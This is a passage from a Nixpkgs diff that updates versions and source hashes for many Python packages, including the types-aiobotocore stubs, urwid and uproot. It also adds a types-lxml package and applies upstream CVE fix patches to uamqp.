"sha256-y+b/46Qp/+iqFWdgcLhXOQQ60Jb4ZHn+T3VV2B2blr8="; - types-aiobotocore-verifiedpermissions = buildTypesAiobotocorePackage "verifiedpermissions" "2.11.2" "sha256-JChel9RC22kon8uWBlJKMKuYuugbbsrZyjlrmg+fhgg="; + types-aiobotocore-verifiedpermissions = buildTypesAiobotocorePackage "verifiedpermissions" "2.12.1" "sha256-Eiv4Jccs56w0k0hSKvW18vmResqvhxsLB6GmwCadPOA="; - types-aiobotocore-voice-id = buildTypesAiobotocorePackage "voice-id" "2.11.2" "sha256-RT09v7dqVet6tAb0IA5NfmzMy4IX2DAofcy729nZZwA="; + types-aiobotocore-voice-id = buildTypesAiobotocorePackage "voice-id" "2.12.1" "sha256-vFq5MQHyL3ShqgXGh2eBDZNq6AHVjZek+QonwuaxYwU="; - types-aiobotocore-vpc-lattice = buildTypesAiobotocorePackage "vpc-lattice" "2.11.2" "sha256-Rlr0tzi20v4XosIPW9zkNqKWHN2rNd8DZGiiy1Nb5f0="; + types-aiobotocore-vpc-lattice = buildTypesAiobotocorePackage "vpc-lattice" "2.12.1" "sha256-+coxrlXSx4qwcQXf3RSOpJQL+t1yqO/xB3autVz/NLY="; - types-aiobotocore-waf = buildTypesAiobotocorePackage "waf" "2.11.2" "sha256-JnvB33lVkfViHtEDLo7r11dv5U9Kztv/OW+4gjGDB28="; + types-aiobotocore-waf = buildTypesAiobotocorePackage "waf" "2.12.1" "sha256-U2QbBdI58XBMFEM0AYtK6i51I4lqW28Aeu+XuNhAZJ8="; - types-aiobotocore-waf-regional = buildTypesAiobotocorePackage "waf-regional" "2.11.2" "sha256-Air8rMhqKgkO5TGqRojR+IYOnNXY+N7xNNqQPMn2jrc="; + types-aiobotocore-waf-regional = buildTypesAiobotocorePackage "waf-regional" "2.12.1" "sha256-9JjZCzf9Z8T9tQB/BE+u8+iE/kX/iMLlffBJkuNXzS0="; - types-aiobotocore-wafv2 = buildTypesAiobotocorePackage "wafv2" "2.11.2" "sha256-b9S614sFcuX4E3W8EXz9Nbdx7sJmHfZz/6dyObuQV/w="; + types-aiobotocore-wafv2 = buildTypesAiobotocorePackage "wafv2" "2.12.1" "sha256-2gZSrTR5wRP7qOMxkmRQqU+pH83hnEOopuVUbMIXcAU="; - types-aiobotocore-wellarchitected = buildTypesAiobotocorePackage "wellarchitected" "2.11.2" "sha256-7HJ0WBfowqrWLwYvWgbDo+gftumeaepQSWpO5DqIJGE="; + types-aiobotocore-wellarchitected = buildTypesAiobotocorePackage "wellarchitected" "2.12.1" "sha256-guUODw1ecYm396nkEoTKiYurk8YIoSJg9/IZkNaba7I="; - types-aiobotocore-wisdom = buildTypesAiobotocorePackage "wisdom" "2.11.2" "sha256-Kaz1XfeiPzKTeUPC2GxY1mr2Xfs2rMmk8qoJXsP+o6Q="; + types-aiobotocore-wisdom = buildTypesAiobotocorePackage "wisdom" "2.12.1" "sha256-rOa8B0/7HQ+GfmTVMq5Kn2eclN5i7ywipnJ7bYymUbA="; - types-aiobotocore-workdocs = buildTypesAiobotocorePackage "workdocs" "2.11.2" "sha256-eSTETN2kjC/NgehPRXrSe+zZoFOS8Tuk+W51iT5iXt0="; + types-aiobotocore-workdocs = buildTypesAiobotocorePackage "workdocs" "2.12.1" "sha256-/hN0c65UtT9/ZgUtmrmlEoDGVUnd9rnC+hJLH38qZXw="; - types-aiobotocore-worklink = buildTypesAiobotocorePackage "worklink" "2.11.2" "sha256-0N9Va4wHn6SgCPBQ77VuHQgODlCaEgeoze+g//ZoQK8="; + types-aiobotocore-worklink = buildTypesAiobotocorePackage "worklink" "2.12.1" "sha256-geeKa8vZebnIFuuD6Slz9ShpBYCJXrXojS2KSORDqKk="; - types-aiobotocore-workmail = buildTypesAiobotocorePackage "workmail" "2.11.2" "sha256-N/eiwpmwBimzDy4VT+m7nbe9PK2QlCa1+z3LKDjzZZI="; + types-aiobotocore-workmail = buildTypesAiobotocorePackage "workmail" "2.12.1" "sha256-ZnxR1sUOX+krBU0OKsTtnjvhPC8WnsMw4Oyfb5kbSd0="; - types-aiobotocore-workmailmessageflow = buildTypesAiobotocorePackage "workmailmessageflow" "2.11.2" "sha256-+M5VV+1wtSpDz7b7CtfIRIwJFpRA8GLdWRne+RQ2EGM="; + types-aiobotocore-workmailmessageflow = buildTypesAiobotocorePackage "workmailmessageflow" "2.12.1" "sha256-AasaWFat0OGT4/iTmqDHnaXvFU6BQMhTpWKYc9E7FoY="; - types-aiobotocore-workspaces = buildTypesAiobotocorePackage "workspaces" "2.11.2" "sha256-JXslg9nlK/7VwSaVW6No0p0SxRLufoFhmhl+y6Lvsek="; + types-aiobotocore-workspaces = buildTypesAiobotocorePackage "workspaces" "2.12.1" "sha256-/07XwxB2vWaGR8Y07x53/C6PBTaDVKMNoSqbzaRAESo="; - types-aiobotocore-workspaces-web = buildTypesAiobotocorePackage "workspaces-web" "2.11.2" "sha256-Z4tueuOfvtxD6PrWk3Tfq/ztXcE3UZkVn8J6OLA49N4="; + types-aiobotocore-workspaces-web = buildTypesAiobotocorePackage "workspaces-web" "2.12.1" "sha256-QBJmVHZ5UazLecUrpizJDe99t0rIllVqYw+JZQTJWBQ="; - types-aiobotocore-xray = buildTypesAiobotocorePackage "xray" "2.11.2" "sha256-vw6nBEHHtmhHSM/gusdLGT+qB92USaycyIw4f9/bSNA="; + types-aiobotocore-xray = buildTypesAiobotocorePackage "xray" "2.12.1" "sha256-KPhRhUwIv8RG9R/skKq1hZ7SKJB18C2lWIYs4rjvjHw="; } diff --git a/pkgs/development/python-modules/types-aiobotocore/default.nix b/pkgs/development/python-modules/types-aiobotocore/default.nix index e69d9ab8e5dff..5e60e9d26f311 100644 --- a/pkgs/development/python-modules/types-aiobotocore/default.nix +++ b/pkgs/development/python-modules/types-aiobotocore/default.nix @@ -364,12 +364,12 @@ buildPythonPackage rec { pname = "types-aiobotocore"; - version = "2.11.2"; + version = "2.12.1"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-bnYg/u2BvG3/iBJ5xKQwiMG/n8vREpnOGHYaSlwlnRs="; + hash = "sha256-pdPYBcAaqGnDwvgttfEUZv3GfUxebpqwTtVwk9p120c="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/types-aiobotocore/update.sh b/pkgs/development/python-modules/types-aiobotocore/update.sh index daded94309a6c..1c0306f27e01c 100644 --- a/pkgs/development/python-modules/types-aiobotocore/update.sh +++ b/pkgs/development/python-modules/types-aiobotocore/update.sh @@ -5,7 +5,7 @@ set -eu -o pipefail source_file=pkgs/development/python-modules/types-aiobotocore-packages/default.nix -version="2.11.2" +version="2.12.1" nix-update python311Packages.types-aiobotocore --commit --build diff --git a/pkgs/development/python-modules/types-awscrt/default.nix b/pkgs/development/python-modules/types-awscrt/default.nix index c2adf4dd7b7b8..7b0e42df6d5a5 100644 --- a/pkgs/development/python-modules/types-awscrt/default.nix +++ b/pkgs/development/python-modules/types-awscrt/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "types-awscrt"; - version = "0.20.3"; + version = "0.20.5"; pyproject = true; disabled = pythonOlder "3.7"; @@ -15,7 +15,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "types_awscrt"; inherit version; - hash = "sha256-BqhZGJoynKjmbVbO7vI5FIjjm4ePvSFB8RXqtNQW/iI="; + hash = "sha256-YYEbv03pUkiTn5J2pDS+k9K5X2zP6KqU5WmZ6XeM/MI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/types-beautifulsoup4/default.nix b/pkgs/development/python-modules/types-beautifulsoup4/default.nix index 923d2e581f97f..687dadc3eb65e 100644 --- a/pkgs/development/python-modules/types-beautifulsoup4/default.nix +++ b/pkgs/development/python-modules/types-beautifulsoup4/default.nix @@ -6,12 +6,12 @@ buildPythonPackage rec { pname = "types-beautifulsoup4"; - version = "4.12.0.20240106"; + version = "4.12.0.20240229"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-mNYomFtxsUC9O8IqjLCrYDwvLQjyDTeSWWXrSiFzm+g="; + hash = "sha256-435M+hGwOwF3VzLlbSwBDLJO4Qd4Yne65rwPo+MFtoY="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/types-docutils/default.nix b/pkgs/development/python-modules/types-docutils/default.nix index 13cd4f61f93cc..d353fb6a706ad 100644 --- a/pkgs/development/python-modules/types-docutils/default.nix +++ b/pkgs/development/python-modules/types-docutils/default.nix @@ -6,12 +6,12 @@ buildPythonPackage rec { pname = "types-docutils"; - version = "0.20.0.20240201"; + version = "0.20.0.20240304"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-ukv9T/bdGWQLp6tdk5ADk6ZYl4gPNlCZeWSpQ/Tnmms="; + hash = "sha256-w1rjXKg1pa7q11jfQRzUbPt+fxnysiPEE9rn4GnVsL4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/types-html5lib/default.nix b/pkgs/development/python-modules/types-html5lib/default.nix index 7ce8ad6755b46..996f8b4e5c3d8 100644 --- a/pkgs/development/python-modules/types-html5lib/default.nix +++ b/pkgs/development/python-modules/types-html5lib/default.nix @@ -6,12 +6,12 @@ buildPythonPackage rec { pname = "types-html5lib"; - version = "1.1.11.20240106"; + version = "1.1.11.20240228"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-/DobGOtgGz7q+SyQC9Z2dcCk+h3R0qKJPr20aSNUfuk="; + hash = "sha256-InNrcpnmBexLpTnUhpHpBf0MYcPqYQrMWZIiMtyEzt4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/types-lxml/default.nix b/pkgs/development/python-modules/types-lxml/default.nix new file mode 100644 index 0000000000000..21a8dc8821613 --- /dev/null +++ b/pkgs/development/python-modules/types-lxml/default.nix @@ -0,0 +1,69 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, lxml +, pyright +, pytestCheckHook +, pythonOlder +, setuptools +, setuptools-scm +, typeguard +, types-beautifulsoup4 +, typing-extensions +}: + +buildPythonPackage rec { + pname = "types-lxml"; + version = "2024.02.09"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "abelcheung"; + repo = "types-lxml"; + rev = "refs/tags/${version}"; + hash = "sha256-vmRbzfwlGGxd64KX8j4B3O9c7kg7hXSsCEYq3WAFdmk="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + ]; + + propagatedBuildInputs = [ + types-beautifulsoup4 + typing-extensions + ]; + + nativeCheckInputs = [ + lxml + pyright + pytestCheckHook + typeguard + ]; + + pythonImportsCheck = [ + "lxml-stubs" + ]; + + disabledTests = [ + # AttributeError: 'bytes' object has no attribute 'find_class' + # https://github.com/abelcheung/types-lxml/issues/34 + "test_bad_methodfunc" + "test_find_class" + "test_find_rel_links" + "test_iterlinks" + "test_make_links_absolute" + "test_resolve_base_href" + "test_rewrite_links" + ]; + + meta = with lib; { + description = "Complete lxml external type annotation"; + homepage = "https://github.com/abelcheung/types-lxml"; + changelog = "https://github.com/abelcheung/types-lxml/releases/tag/${version}"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/types-pillow/default.nix b/pkgs/development/python-modules/types-pillow/default.nix index f4dad0490d5c3..a622e86996cdd 100644 --- a/pkgs/development/python-modules/types-pillow/default.nix +++ b/pkgs/development/python-modules/types-pillow/default.nix @@ -5,13 +5,13 @@ buildPythonPackage rec { pname = "types-pillow"; - version = "10.1.0.20240106"; + version = "10.2.0.20240206"; format = "setuptools"; src = fetchPypi { inherit version; pname = "types-Pillow"; - hash = "sha256-0sLtfs5rC+y02vFQ4jdMj02Xf+bv7GJe+VLiYldhkOc="; + hash = "sha256-8N5RB/+DYv/bvVPsiWICrJBearIq54S0a82tFg6hQ7k="; }; # Modules doesn't have tests diff --git a/pkgs/development/python-modules/types-psycopg2/default.nix b/pkgs/development/python-modules/types-psycopg2/default.nix index c22fec8de7ddc..b2fef1134aa1d 100644 --- a/pkgs/development/python-modules/types-psycopg2/default.nix +++ b/pkgs/development/python-modules/types-psycopg2/default.nix @@ -6,12 +6,12 @@ buildPythonPackage rec { pname = "types-psycopg2"; - version = "2.9.21.20240201"; + version = "2.9.21.20240218"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-daknNfYro2OXQJrkdY8CQcvEqbsw8fldO0pmD+p+dxE="; + hash = "sha256-MITNgHA4piyA+1vni0HYVbSKBgMWEB6ln9hcMC77V9Q="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/types-pyopenssl/default.nix b/pkgs/development/python-modules/types-pyopenssl/default.nix index 7a0a600492967..32859f0999552 100644 --- a/pkgs/development/python-modules/types-pyopenssl/default.nix +++ b/pkgs/development/python-modules/types-pyopenssl/default.nix @@ -6,13 +6,13 @@ buildPythonPackage rec { pname = "types-pyopenssl"; - version = "24.0.0.20240130"; + version = "24.0.0.20240228"; format = "setuptools"; src = fetchPypi { pname = "types-pyOpenSSL"; inherit version; - hash = "sha256-yBLlwcNSSfde9ZNXCLKpl9Yqv5dFviIuX5S5WVRyqyU="; + hash = "sha256-zZkHF9iqN0PvDnPg9GLmS1TZDDBCSSMtSP7OTw98PGo="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/types-redis/default.nix b/pkgs/development/python-modules/types-redis/default.nix index dcdc6d1575cfa..c5515cf1f70f9 100644 --- a/pkgs/development/python-modules/types-redis/default.nix +++ b/pkgs/development/python-modules/types-redis/default.nix @@ -7,12 +7,12 @@ buildPythonPackage rec { pname = "types-redis"; - version = "4.6.0.20240106"; + version = "4.6.0.20240218"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-Ky+jp4+EVZYWJC0j+G3l9BMN/Ww7g/stjOMynlA/dW4="; + hash = "sha256-UQPX5pDlx0yXShYTF7LVmsIwPPi+8kF1sEwqTDSGyzk="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/types-requests/default.nix b/pkgs/development/python-modules/types-requests/default.nix index 25538aa7c897e..520927662c2b6 100644 --- a/pkgs/development/python-modules/types-requests/default.nix +++ b/pkgs/development/python-modules/types-requests/default.nix @@ -8,12 +8,12 @@ buildPythonPackage rec { pname = "types-requests"; - version = "2.31.0.20240125"; + version = "2.31.0.20240218"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-A6KM4dfNVBmRSOBDsgec3e0i1nldGaLCpnkaSyteLrU="; + hash = "sha256-8XIduoOFlY9QSlOGJAuS3kc04EegikB1HBZU0awzScU="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/types-setuptools/default.nix b/pkgs/development/python-modules/types-setuptools/default.nix index 0b7e0d91b2a67..cff06ebc62aa7 100644 --- a/pkgs/development/python-modules/types-setuptools/default.nix +++ b/pkgs/development/python-modules/types-setuptools/default.nix @@ -6,12 +6,12 @@ buildPythonPackage rec { pname = "types-setuptools"; - version = "69.0.0.20240115"; + version = "69.1.0.20240215"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-GpyGOJn0DL4gU9DNHQDd7wMwtJIzVGfQGPc8H+yUYqM="; + hash = "sha256-Kk/dOjymQ8VzWeWE2y3Stdt0gaguzCHqNovEMXv8BQU="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/uamqp/default.nix b/pkgs/development/python-modules/uamqp/default.nix index 68c72fe80fed7..a868fde95be05 100644 --- a/pkgs/development/python-modules/uamqp/default.nix +++ b/pkgs/development/python-modules/uamqp/default.nix @@ -2,6 +2,7 @@ , stdenv , buildPythonPackage , fetchFromGitHub +, fetchpatch , cython , certifi , CFNetwork @@ -29,6 +30,23 @@ buildPythonPackage rec { patches = lib.optionals (stdenv.isDarwin && stdenv.isx86_64) [ ./darwin-azure-c-shared-utility-corefoundation.patch ] ++ [ + (fetchpatch { + name = "CVE-2024-25110.patch"; + url = "https://github.com/Azure/azure-uamqp-c/commit/30865c9ccedaa32ddb036e87a8ebb52c3f18f695.patch"; + stripLen = 1; + extraPrefix = "src/vendor/azure-uamqp-c/"; + hash = "sha256-igzZqTLUUyuNcpCUbYHI4RXmWxg+7EC/yyD4DBurR2M="; + }) + (fetchpatch { + name = "CVE-2024-27099.patch"; + url = "https://github.com/Azure/azure-uamqp-c/commit/2ca42b6e4e098af2d17e487814a91d05f6ae4987.patch"; + stripLen = 1; + extraPrefix = "src/vendor/azure-uamqp-c/"; + # other files are just tests which aren't run from the python + # builder anyway + includes = [ "src/vendor/azure-uamqp-c/src/link.c" ]; + hash = "sha256-EqDfG1xAz5CG8MssSSrz8Yrje5qwF8ri1Kdw+UUu5ms="; + }) # Fix incompatible function pointer conversion error with clang 16. ./clang-fix-incompatible-function-pointer-conversion.patch ]; diff --git a/pkgs/development/python-modules/uncertainties/default.nix b/pkgs/development/python-modules/uncertainties/default.nix index 8299effe6f5ea..827a21c811b7c 100644 --- a/pkgs/development/python-modules/uncertainties/default.nix +++ b/pkgs/development/python-modules/uncertainties/default.nix @@ -1,5 +1,9 @@ -{ lib, fetchPypi, buildPythonPackage -, nose, numpy, future +{ lib +, buildPythonPackage +, fetchPypi +, future +, numpy +, pynose }: buildPythonPackage rec { @@ -13,10 +17,10 @@ buildPythonPackage rec { }; propagatedBuildInputs = [ future ]; - nativeCheckInputs = [ nose numpy ]; + nativeCheckInputs = [ pynose numpy ]; checkPhase = '' - nosetests -sv + nosetests -sve test_1to2 ''; meta = with lib; { diff --git a/pkgs/development/python-modules/unicode-rbnf/default.nix b/pkgs/development/python-modules/unicode-rbnf/default.nix index 934f51c67ddfd..6dd4e813312eb 100644 --- a/pkgs/development/python-modules/unicode-rbnf/default.nix +++ b/pkgs/development/python-modules/unicode-rbnf/default.nix @@ -11,14 +11,14 @@ buildPythonPackage rec { pname = "unicode-rbnf"; - version = "1.0.0"; + version = "1.1.0"; pyproject = true; src = fetchFromGitHub { owner = "rhasspy"; repo = "unicode-rbnf"; rev = "v${version}"; - hash = "sha256-xwnfqWwQJKCJ4G+8eVaySTJAHxhwKYAqLHaCsxtBIl0="; + hash = "sha256-PquPoiaO1rEDMz7jaN9MUB0UQGH07M0O9mlrUCsfhm4="; }; nativeBuildInputs = [ @@ -34,7 +34,7 @@ buildPythonPackage rec { ]; meta = with lib; { - changelog = "https://github.com/rhasspy/unicode-rbnf/v${version}/master/CHANGELOG.md"; + changelog = "https://github.com/rhasspy/unicode-rbnf/blob/v${version}/CHANGELOG.md"; description = "A pure Python implementation of ICU's rule-based number format engine"; homepage = "https://github.com/rhasspy/unicode-rbnf"; license = licenses.mit; diff --git a/pkgs/development/python-modules/unifi-discovery/default.nix b/pkgs/development/python-modules/unifi-discovery/default.nix index cd53dae36822f..760b9f96c89ba 100644 --- a/pkgs/development/python-modules/unifi-discovery/default.nix +++ b/pkgs/development/python-modules/unifi-discovery/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "unifi-discovery"; - version = "1.1.7"; + version = "1.1.8"; format = "pyproject"; disabled = pythonOlder "3.9"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "bdraco"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-EQFk3kRY/JL1ZTDdHKzl0KbMUuhZSFc4tYqAYvsNSj0="; + hash = "sha256-gE/2awyhDACrc0nuTvTPOcK2lFbPIZAXDPRnVJtWFco="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/universal-silabs-flasher/default.nix b/pkgs/development/python-modules/universal-silabs-flasher/default.nix index 938856691b7ab..e9b8e0294d808 100644 --- a/pkgs/development/python-modules/universal-silabs-flasher/default.nix +++ b/pkgs/development/python-modules/universal-silabs-flasher/default.nix @@ -27,14 +27,14 @@ buildPythonPackage rec { pname = "universal-silabs-flasher"; - version = "0.0.18"; + version = "0.0.19"; pyproject = true; src = fetchFromGitHub { owner = "NabuCasa"; repo = "universal-silabs-flasher"; - rev = "v${version}"; - hash = "sha256-XUMpWzDqouhbsP+s0b13f6N0YGdXJK6qhbWQLqMzNHM="; + rev = "refs/tags/v${version}"; + hash = "sha256-VoO9B27CNY2Cnt/Q2HsU6DVYkukQMgbIHc6xqfN0P7w="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/unstructured/default.nix b/pkgs/development/python-modules/unstructured/default.nix index ac1f937a44b4f..388cd89371ed4 100644 --- a/pkgs/development/python-modules/unstructured/default.nix +++ b/pkgs/development/python-modules/unstructured/default.nix @@ -56,7 +56,7 @@ , grpcio }: let - version = "0.12.4"; + version = "0.12.5"; optional-dependencies = { huggingflace = [ langdetect @@ -90,7 +90,7 @@ buildPythonPackage { owner = "Unstructured-IO"; repo = "unstructured"; rev = "refs/tags/${version}"; - hash = "sha256-lfsCmEhF6CTrEIa4y98NgDw6EgfLk39BVsTmYZD6MkU="; + hash = "sha256-69GukU2R38tM43vAk+l9vjypgjTS/Bcmcdcj1HXnzv4="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/uproot/default.nix b/pkgs/development/python-modules/uproot/default.nix index 288758dfb34aa..9e8436bd662c3 100644 --- a/pkgs/development/python-modules/uproot/default.nix +++ b/pkgs/development/python-modules/uproot/default.nix @@ -3,6 +3,7 @@ , fetchFromGitHub , pythonOlder , awkward +, cramjam , hatch-vcs , hatchling , numpy @@ -10,17 +11,15 @@ , packaging , pandas , pytestCheckHook -, lz4 , pytest-timeout , rangehttpserver , scikit-hep-testdata , xxhash -, zstandard }: buildPythonPackage rec { pname = "uproot"; - version = "5.2.2"; + version = "5.3.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -29,7 +28,7 @@ buildPythonPackage rec { owner = "scikit-hep"; repo = "uproot5"; rev = "refs/tags/v${version}"; - hash = "sha256-7X8oIMvOSC1JXQrZTPXLiqsUnfSc2Rx3KCvxKbhvPzM="; + hash = "sha256-cZVdsemaA3ni6xFfrkyLJA+12B7vyURj9OYVuOhqTXU="; }; nativeBuildInputs = [ @@ -39,6 +38,7 @@ buildPythonPackage rec { propagatedBuildInputs = [ awkward + cramjam numpy fsspec packaging @@ -47,12 +47,10 @@ buildPythonPackage rec { nativeCheckInputs = [ pandas pytestCheckHook - lz4 pytest-timeout rangehttpserver scikit-hep-testdata xxhash - zstandard ]; preCheck = '' @@ -79,6 +77,8 @@ buildPythonPackage rec { "test_open_fsspec_http" "test_open_fsspec_github" "test_pickle_roundtrip_http" + # Cyclic dependency with dask-awkward + "test_decompression_executor_for_dask" ]; disabledTestPaths = [ diff --git a/pkgs/development/python-modules/uqbar/default.nix b/pkgs/development/python-modules/uqbar/default.nix index 36fe7e0eb1f8c..c7c6e8e2eea6a 100644 --- a/pkgs/development/python-modules/uqbar/default.nix +++ b/pkgs/development/python-modules/uqbar/default.nix @@ -11,14 +11,14 @@ buildPythonPackage rec { pname = "uqbar"; - version = "0.7.1"; + version = "0.7.3"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-pZ2sNs9uK49PK8qxRRqpGMEI1Xr6Fn+fxptlEVv3GSk="; + hash = "sha256-9KQmLCsIiHcdiAu4GeEu+wa3lGwEZOO+oHWuhFNosR0="; }; postPatch = '' diff --git a/pkgs/development/python-modules/urlextract/default.nix b/pkgs/development/python-modules/urlextract/default.nix index 90fb0d457c0a3..df2b134f9a656 100644 --- a/pkgs/development/python-modules/urlextract/default.nix +++ b/pkgs/development/python-modules/urlextract/default.nix @@ -7,21 +7,26 @@ , platformdirs , pytestCheckHook , pythonOlder +, setuptools , uritools }: buildPythonPackage rec { pname = "urlextract"; - version = "1.8.0"; - format = "setuptools"; + version = "1.9.0"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-NXP2uBKBTv4GykbpHoLZhO2qPNB9qqqilqRnrZiBoDc="; + hash = "sha256-cFCOArqd83LiXPBkLbNnzs4nPocSzQzngXj8XdfqANs="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ filelock idna diff --git a/pkgs/development/python-modules/urwid-readline/default.nix b/pkgs/development/python-modules/urwid-readline/default.nix index 7d24067fd1101..3e47f886cdb70 100644 --- a/pkgs/development/python-modules/urwid-readline/default.nix +++ b/pkgs/development/python-modules/urwid-readline/default.nix @@ -1,26 +1,34 @@ { lib , buildPythonPackage -, fetchPypi +, fetchFromGitHub +, setuptools , urwid -, glibcLocales , pytestCheckHook }: buildPythonPackage rec { - pname = "urwid_readline"; - version = "0.13"; + pname = "urwid-readline"; + version = "0.14"; + pyproject = true; - src = fetchPypi { - inherit pname version; - hash = "sha256-AYAgy8hku17Ye+F9wmsGnq4nVcsp86nFaarDve0e+vQ="; + src = fetchFromGitHub { + owner = "rr-"; + repo = "urwid_readline"; + rev = "refs/tags/${version}"; + hash = "sha256-ZTg+GZnu7R6Jf2+SIwVo57yHnjwuY92DElTJs8oRErE="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ urwid ]; + pythonImportsCheck = [ "urwid_readline" ]; + nativeCheckInputs = [ - glibcLocales pytestCheckHook ]; diff --git a/pkgs/development/python-modules/urwid/default.nix b/pkgs/development/python-modules/urwid/default.nix index cf42463c19b28..e6141601cbdd8 100644 --- a/pkgs/development/python-modules/urwid/default.nix +++ b/pkgs/development/python-modules/urwid/default.nix @@ -13,11 +13,13 @@ , tornado , trio , twisted +, typing-extensions +, wcwidth }: buildPythonPackage rec { pname = "urwid"; - version = "2.4.3"; + version = "2.6.8"; pyproject = true; disabled = pythonOlder "3.7"; @@ -26,7 +28,7 @@ buildPythonPackage rec { owner = "urwid"; repo = "urwid"; rev = "refs/tags/${version}"; - hash = "sha256-raDsUZaXBC4s/48KNH8Thrpm8Bq8wj9+Rahk+LkxcDo="; + hash = "sha256-KtIcmAPOcxC9wTq6mKRZWcohH0skYMHlq4mehpn6raY="; }; postPatch = '' @@ -38,6 +40,11 @@ buildPythonPackage rec { setuptools-scm ]; + propagatedBuildInputs = [ + typing-extensions + wcwidth + ]; + passthru.optional-dependencies = { glib = [ pygobject3 diff --git a/pkgs/development/python-modules/urwidgets/default.nix b/pkgs/development/python-modules/urwidgets/default.nix index 9b6f33c0bd7c4..82e4eee38379e 100644 --- a/pkgs/development/python-modules/urwidgets/default.nix +++ b/pkgs/development/python-modules/urwidgets/default.nix @@ -1,39 +1,41 @@ { lib , buildPythonPackage -, pythonOlder , fetchFromGitHub +, pythonOlder , setuptools , urwid -, wheel }: buildPythonPackage rec { pname = "urwidgets"; - version = "0.1.1"; + version = "0.2.0"; pyproject = true; + disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "AnonymouX47"; repo = "urwidgets"; rev = "refs/tags/v${version}"; - hash = "sha256-0aZLL0NutptPkuLHv3bTzR1/SNqLgMdUYWET6mLE0IU="; + hash = "sha256-ultlfNeCGFTqKaMeXu0+NihkN5/6NtMewk33YfIzhu8="; }; nativeBuildInputs = [ setuptools - wheel ]; propagatedBuildInputs = [ urwid ]; - pythonImportsCheck = [ "urwidgets" ]; + pythonImportsCheck = [ + "urwidgets" + ]; meta = with lib; { description = "A collection of widgets for urwid"; homepage = "https://github.com/AnonymouX47/urwidgets"; + changelog = "https://github.com/AnonymouX47/urwidgets/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ huyngo ]; }; diff --git a/pkgs/development/python-modules/urwidtrees/default.nix b/pkgs/development/python-modules/urwidtrees/default.nix index 82744984d007c..f12f91906efaa 100644 --- a/pkgs/development/python-modules/urwidtrees/default.nix +++ b/pkgs/development/python-modules/urwidtrees/default.nix @@ -1,25 +1,23 @@ { lib , buildPythonPackage , fetchFromGitHub -, glibcLocales -, urwid , fetchpatch +, setuptools +, urwid }: buildPythonPackage rec { pname = "urwidtrees"; - format = "setuptools"; version = "1.0.3"; + pyproject = true; src = fetchFromGitHub { owner = "pazz"; repo = "urwidtrees"; - rev = version; + rev = "refs/tags/${version}"; hash = "sha256-yGSjwagCd5TiwEFtF6ZhDuVqj4PTa5pVXhs8ebr2O/g="; }; - propagatedBuildInputs = [ urwid ]; - patches = [ (fetchpatch { url = "https://github.com/pazz/urwidtrees/commit/ed39dbc4fc67b0e0249bf108116a88cd18543aa9.patch"; @@ -27,13 +25,26 @@ buildPythonPackage rec { }) ]; - nativeCheckInputs = [ glibcLocales ]; - LC_ALL="en_US.UTF-8"; + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + urwid + ]; + + # Module has no tests + doCheck = false; + + pythonImportsCheck = [ + "urwidtrees" + ]; meta = with lib; { description = "Tree widgets for urwid"; homepage = "https://github.com/pazz/urwidtrees"; - license = licenses.gpl3; + changelog = "https://github.com/pazz/urwidtrees/releases/tag/${version}"; + license = licenses.gpl3Plus; + maintainers = with maintainers; [ ]; }; - } diff --git a/pkgs/development/python-modules/userpath/default.nix b/pkgs/development/python-modules/userpath/default.nix index 5f4a31d39b190..014de3cfeb1ed 100644 --- a/pkgs/development/python-modules/userpath/default.nix +++ b/pkgs/development/python-modules/userpath/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "userpath"; - version = "1.9.1"; - format = "pyproject"; + version = "1.9.2"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-zoF2co2YyRS2QBeBvzsj/M2WjRZHU5yHiMcBA3XgJ5Y="; + hash = "sha256-bFIojasGklfMgxhG0V1IEzUiRV1Gd+5pqXgfEdvv2BU="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/uvicorn/default.nix b/pkgs/development/python-modules/uvicorn/default.nix index 11df7fd78c6e1..112d25ef6403c 100644 --- a/pkgs/development/python-modules/uvicorn/default.nix +++ b/pkgs/development/python-modules/uvicorn/default.nix 